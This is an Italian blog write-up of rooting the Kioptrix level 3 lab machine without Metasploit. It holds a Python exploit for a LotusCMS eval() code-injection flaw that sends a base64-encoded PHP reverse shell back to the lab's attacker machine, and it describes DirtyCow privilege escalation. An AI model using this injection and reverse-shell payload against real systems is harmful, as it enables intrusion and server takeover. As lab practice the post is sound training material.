Getting Root: Kioptrix livello 3

Siamo al terzo livello delle macchine della serie Kioptrix. Anche questa macchina non presenta difficoltà degne di nota e credo sarà l’ultima macchina semplice prima dell’OSCP.

Photo by

Siamo al terzo livello delle macchine della serie Kioptrix. Anche questa macchina non presenta difficoltà degne di nota e credo sarà l’ultima macchina semplice prima dell’OSCP.

Per rendere le cose più interessanti, ma anche per essere il più realista possibile nei confronti dello scenario d’esame, non utilizzerò Metasploit. In questo post, vedremo quindi come mi sono riscritto il mio exploit da solo. Occasione, tra l’altro, per approfondire un po’ di Python.

Kioptrix Livello 3

Il livello 3 è disponibile a questa pagina del sito vulnhub.com.

Anche questa macchina virtuale è un box Linux su cui è montata una distribuzione Ubuntu obsoleta.

Setup dell’ambiente

La configurazione della mia piccola rete locale in VirtualBox, tra la mia Kali Linux e la macchina target, è rimasta la stessa. Entrambe non possono ragiungere il mondo esterno.

La nostra vittima all'avvio

Ora che tutte le macchine, all’avvio, prenderanno un indirizzo sulla 192.168.56 possiamo partire.

Per scoprire l’indirizzo assegnato a knoptrix3.com, utilizziamo nmap.

# nmap -sn 192.168.56.101-255

La nostra vittima in rete

La macchina 192.168.56.101 è una Kali Linux aggiornata e pronta all’uso. La macchina 192.168.56.104 è il nostro target. Come da note, scritte dall’autore dell’esercizio, aggiungiamo una entry nel nostro file hosts, affinche il dominio knoptrix3.com venga risolto con l’indirizzo corretto.

/etc/hosts

Recon

Il primo passaggio è quello di enumerare i servizi in ascolto sulla macchina, per cercare di capire qualcosa in più.

# nmap -sV -O 192.168.56.104 -oA 192.168.56.104
# Nmap 7.50 scan initiated Wed Sep 13 08:10:27 2017 as: nmap -sV -O -oA 192.168.56.104 192.168.56.104
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.104
Host is up (0.00024s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
MAC Address: 08:00:27:98:C2:4F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 13 08:10:37 2017 -- 1 IP address (1 host up) scanned in 9.95 seconds

Takeover narrative

Essendo la versione di OpenSSH priva di exploit noti, mi dedico a quello che trovo sulla porta 80. Navigandoci, abbiamo un sito web abbastanza anonimo con una voce Login, nel menù.

Home page del sito

Navigando sulla pagina di login, ottengo come informazione aggiuntiva, il nome del CMS utilizzato: LotusCMS.

Home page del sito

Faccio un po’ di ricogniziona standard, quando si parla di porta 80, usando dirb e _nikto.

# dirb http://kioptrix3.com -o 192.168.56.104.dirb
...
# nikto -host http://kioptrix3.com -Format txt -o 192.168.56.104.nikto

Analizzando l’output, scopriamo che il sito offre:

  • un phpmyadmin 2.11.3 phpMyAdmin
  • una gallery http://kioptrix3.com/gallery/index.php creata con gallaryfic Gallarific
  • una versione del sito in /cache Versione cache del sito

Sia la versione di phpMyAdmin, che gallaryfic hanno exploit noti.

Exploit per phpMyAdmin

Exploit per Gallaryfic

Voglio però, dedicarmi a LotusCMS, che mi offre sul piatto una remote code execution, con tanto di modulo per Metasploit.

Exploit per LotusCMS

Scrittura di un semplice exploit per LotusCMS

Quella che sfrutterò non è la vulnerabilità CVE-2011-0518 che ho scoperto dopo, mentre scrivevo questo post. Magari si può modificare il mio exploit per sfruttare entrambe.

Sebbene sia già presente, e funzionante, un modulo Metasploit ed un exploit fatto molto bene su exploit-db.com, ho deciso di provare a scrivere da zero il mio exploit per:

  • imparare un po’ di python
  • replicare lo scenario d’esame per l’OSCP
  • divertirmi un po’.

Leggendo il codice dell’exploit in ruby e vedendo un altro exploit in rete scritto in python, il nocciolo della vulnerabilità risiete nella mancata validazione dell’input fornito al parametro page nella pagina index.php di un sito sviluppato con LotusCMS.

Questo input, viene inserito come argomento di una chiamata ad eval().

Quello che dobbiamo fare è inserire del codice PHP all’interno del parametro vulnerabile, codice che verrà eseguito coi privilegi con cui gira Apache sulla macchina vittima.

Come prima cosa, facciamo un test per verificare che il sito sia vulnerabile. Per fare questo, passo come parametro una print e verifico che la scritta sia presente nella risposta del mio web server.

uri="/index.php"
canary=urllib.urlencode({"page":"index');${print('THIS_IS_RANDOM_FOO')};#"})
r = requests.get("http://"+sys.argv[1] + uri + "?system=Admin&"+canary)

print(r.status_code, r.reason)
canary_position = r.text.find('THIS_IS_RANDOM_FOO')

if canary_position == -1:
    print sys.argv[1]+" is not vulnerable"
    sys.exit()

print sys.argv[1] + " is vulnerable. Sending payload"

La seconda parte dell’attacco è mandare il payload. Ho preso il codice di una reverse shell che ho trovato in rete e modificato per l’OSCP. Per questo exploit ho tolto il preambolo , visto che tutto il payload sarà già eseguito all’interno del contesto PHP del webserver.

Codice per la reverse shell

La reverse shell dovrà essere codificata in base64 per poter essere trasmessa in un flusso HTTP.

buf="c2V0X3RpbWVfbGltaXQgKDApOyAkaXAgPSAiMTkyLjE2OC41Ni4xMDEiOyAkcG9ydCA9IDQ0MzsgJGNodW5rX3NpemUgPSAxNDAwOyAkd3JpdGVfYSA9IG51bGw7ICRlcnJvcl9hID0gbnVsbDsgJHNoZWxsID0gInVuYW1lIC1hOyB3OyBpZDsgL2Jpbi9zaCAtaSI7ICRkYWVtb24gPSAwOyAkZGVidWcgPSAwOyBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwY250bF9mb3JrJykpIHsgJHBpZCA9IHBjbnRsX2ZvcmsoKTsgaWYgKCRwaWQgPT0gLTEpIHsgcHJpbnRpdCgiRVJST1I6IENhbid0IGZvcmsiKTsgZXhpdCgxKTsgfSBpZiAoJHBpZCkgeyBleGl0KDApOyB9IGlmIChwb3NpeF9zZXRzaWQoKSA9PSAtMSkgeyBwcmludGl0KCJFcnJvcjogQ2FuJ3Qgc2V0c2lkKCkiKTsgZXhpdCgxKTsgfSAkZGFlbW9uID0gMTsgfSBlbHNlIHsgcHJpbnRpdCgiV0FSTklORzogRmFpbGVkIHRvIGRhZW1vbmlzZS4gIFRoaXMgaXMgcXVpdGUgY29tbW9uIGFuZCBub3QgZmF0YWwuIik7IH0gY2hkaXIoIi8iKTsgdW1hc2soMCk7ICRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRlcnJubywgJGVycnN0ciwgMzApOyBpZiAoISRzb2NrKSB7IHByaW50aXQoIiRlcnJzdHIgKCRlcnJubykiKTsgZXhpdCgxKTsgfSAkZGVzY3JpcHRvcnNwZWMgPSBhcnJheSggMCA9PiBhcnJheSgicGlwZSIsICJyIiksIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLCAyID0+IGFycmF5KCJwaXBlIiwgInciKSk7ICRwcm9jZXNzID0gcHJvY19vcGVuKCRzaGVsbCwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOyBpZiAoIWlzX3Jlc291cmNlKCRwcm9jZXNzKSkgeyBwcmludGl0KCJFUlJPUjogQ2FuJ3Qgc3Bhd24gc2hlbGwiKTsgZXhpdCgxKTsgfSBzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1swXSwgMCk7IHN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzFdLCAwKTsgc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMl0sIDApOyBzdHJlYW1fc2V0X2Jsb2NraW5nKCRzb2NrLCAwKTsgcHJpbnRpdCgiU3VjY2Vzc2Z1bGx5IG9wZW5lZCByZXZlcnNlIHNoZWxsIHRvICRpcDokcG9ydCIpOyB3aGlsZSAoMSkgeyBpZiAoZmVvZigkc29jaykpIHsgcHJpbnRpdCgiRVJST1I6IFNoZWxsIGNvbm5lY3Rpb24gdGVybWluYXRlZCIpOyBicmVhazsgfSBpZiAoZmVvZigkcGlwZXNbMV0pKSB7IHByaW50aXQoIkVSUk9SOiBTaGVsbCBwcm9jZXNzIHRlcm1pbmF0ZWQiKTsgYnJlYWs7IH0gJHJlYWRfYSA9IGFycmF5KCRzb2NrLCAkcGlwZXNbMV0sICRwaXBlc1syXSk7ICRudW1fY2hhbmdlZF9zb2NrZXRzID0gc3RyZWFtX3NlbGVjdCgkcmVhZF9hLCAkd3JpdGVfYSwgJGVycm9yX2EsIG51bGwpOyBpZiAoaW5fYXJyYXkoJHNvY2ssICRyZWFkX2EpKSB7IGlmICgkZGVidWcpIHByaW50aXQoIlNPQ0sgUkVBRCIpOyAkaW5wdXQgPSBmcmVhZCgkc29jaywgJGNodW5rX3NpemUpOyBpZiAoJGRlYnVnKSBwcmludGl0KCJTT0NLOiAkaW5wdXQiKTsgZndyaXRlKCRwaXBlc1swXSwgJGlucHV0KTsgfSBpZiAoaW5fYXJyYXkoJHBpcGVzWzFdLCAkcmVhZF9hKSkgeyBpZiAoJGRlYnVnKSBwcmludGl0KCJTVERPVVQgUkVBRCIpOyAkaW5wdXQgPSBmcmVhZCgkcGlwZXNbMV0sICRjaHVua19zaXplKTsgaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU1RET1VUOiAkaW5wdXQiKTsgZndyaXRlKCRzb2NrLCAkaW5wdXQpOyB9IGlmIChpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKSB7IGlmICgkZGVidWcpIHByaW50aXQoIlNUREVSUiBSRUFEIik7ICRpbnB1dCA9IGZyZWFkKCRwaXBlc1syXSwgJGNodW5rX3NpemUpOyBpZiAoJGRlYnVnKSBwcmludGl0KCJTVERFUlI6ICRpbnB1dCIpOyBmd3JpdGUoJHNvY2ssICRpbnB1dCk7IH0gfSBmY2xvc2UoJHNvY2spOyBmY2xvc2UoJHBpcGVzWzBdKTsgZmNsb3NlKCRwaXBlc1sxXSk7IGZjbG9zZSgkcGlwZXNbMl0pOyBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsgZnVuY3Rpb24gcHJpbnRpdCAoJHN0cmluZykgeyBpZiAoISRkYWVtb24pIHsgcHJpbnQgIiRzdHJpbmdcbiI7IH0gfQo" 

shellcode=urllib.urlencode({"page":"index');${eval(base64_decode('"+buf+"'))};#"})
r = requests.get("http://"+sys.argv[1] + uri +"?system=Admin&" + shellcode)
print(r.status_code, r.reason)
print r.text

Il codice dell’exploit è disponibile su github.com. Sentitevi liberi di migliorarlo e creare delle pull request.

In un’altra finestra ho lanciato netcat in ascolto sulla porta 443 e lanciato il mio exploit, ottengo una shell non privilegiata.

Lancio il mio exploit

Shell non privilegiata

Da dentro la macchina, inizio a recuperare un po’ di informazioni sulla versione della distribuzione, sui processi in esecuzione e sulla versione del kernel. Questo per cercare il giusto exploit.

![uname -a]](https://codiceinsicuro.it/assets/images/getting-root/k3/1_16_info_gathering.png)

Navigando prima nelle directory in /home, praticamente tutte hanno il permesso di lettura per tutti, noto il file /home/loneferret/CompanyPolicy.README. Una nota del CEO che invita a fare ‘sudo ht’. Sul nostro utente non ha effetti, mentre l’utente loneferret, con il comando sudo ht è in grado di impersonificare un utente amministrativo (dalla bash_history e dal .sudo_as_admin_successful)

Lettera dal CEO

Decido di usare DirtyCow per elevare i miei privilegi. Carico l’exploit con wget, usando la mia macchina Kali e lo compilo.

Compilo dirtycow

Provo a loggarmi via ssh con l’utente firefart ed ho conferma che l’exploit ha funzionato come mi aspettavo. Sono root su 192.168.56.104.

Root

La flag è nella /root ed è un messaggio dell’autore della macchina, Steven ‘loneferret’ McElrea morto lo scorso mese di agosto.

Flag

Off by one

Grazie Steven, per Kioptrix e per tutto il pesce.

Enjoy it!

comments powered by Disqus